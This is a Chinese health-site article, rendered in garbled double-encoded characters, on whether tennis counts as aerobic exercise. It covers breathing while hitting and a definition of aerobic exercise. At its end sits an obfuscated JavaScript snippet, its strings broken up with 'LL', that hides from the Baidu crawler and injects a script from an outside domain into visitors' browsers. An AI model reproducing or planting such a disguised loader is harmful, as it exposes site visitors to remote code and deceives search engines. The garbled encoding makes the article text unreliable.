當(dāng)前位置:首頁 > 健康 > 運(yùn)動健身 > 正文

打網(wǎng)球是有氧運(yùn)動嗎

2017-04-16 22:43:43  來源:360常識網(wǎng)   熱度:
導(dǎo)語:現(xiàn)如今時代,生活水平提高,人類物質(zhì)生活也變的豐富,但是很多人都缺乏運(yùn)動,大家都知道長時間的堅持做有氧運(yùn)動對身體有很多的好處,可以強(qiáng)

現(xiàn)如今時代,生活水平提高,人類物質(zhì)生活也變的豐富,但是很多人都缺乏運(yùn)動,大家都知道長時間的堅持做有氧運(yùn)動對身體有很多的好處,可以強(qiáng)健體魄增強(qiáng)免疫力,還能提高肺活量,增強(qiáng)身體各部分的機(jī)能,防止衰老。網(wǎng)球運(yùn)動是大部分人都很喜歡的一種運(yùn)動,但是網(wǎng)球是有氧運(yùn)動嗎?不妨繼續(xù)往下看。

關(guān)于無氧運(yùn)動和有氧運(yùn)動方面有著很多的說法,是個比較開放的問題。你平時雖然有慢跑,但這并不代表體能就好。網(wǎng)球這項(xiàng)運(yùn)動需要爆發(fā)力,急停急轉(zhuǎn)是最常見的。比如跑馬拉松和跑一百米的區(qū)別,跑完一百米的選手也會累,但那種感受與跑馬拉松的累還是有所區(qū)別的。之所以你打網(wǎng)球會累,可能網(wǎng)球運(yùn)動的節(jié)奏和頻率與你慢跑時有著很大的不同,所以覺得累也是正常的。當(dāng)氧氣輸送不到肌肉上,就會出現(xiàn)無法堅持下去的情況。

還有一個可能性,有些人喜歡憋著氣打球,這樣做的后果是打了幾球之后,手腳就沒有力氣了。很多職業(yè)選手都會在擊球時吼叫,這樣做的好處是能夠把肺部的廢氣都排放出來。業(yè)余選手也需要在擊球時伴隨著呼氣,之后有節(jié)奏的吸氣,讓足夠的氧氣進(jìn)入肺部。

有氧運(yùn)動是指人體在氧氣充分供應(yīng)的情況下進(jìn)行的體育鍛煉。即在運(yùn)動過程中,人體吸入的氧氣與需求相等,達(dá)到生理上的平衡狀態(tài)。簡單來說,有氧運(yùn)動是指任何富韻律性的運(yùn)動,其運(yùn)動時間較長(約15分鐘或以上),運(yùn)動強(qiáng)度在中等或中上的程度(最大心率之60%至80%)。有氧運(yùn)動是一種恒常運(yùn)動,是持續(xù)5分鐘以上還有余力的運(yùn)動。

看了上面我對有氧運(yùn)動的介紹,打網(wǎng)球是有氧運(yùn)動嗎這個問題大家也有了明確的答案。有氧運(yùn)動的運(yùn)動方式有很多,大家可以選擇不同種類的方式去運(yùn)動,有氧運(yùn)動要定期的進(jìn)行,長期堅持下去才能達(dá)到強(qiáng)身健體的效果,不要三天打魚兩天曬網(wǎng)。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}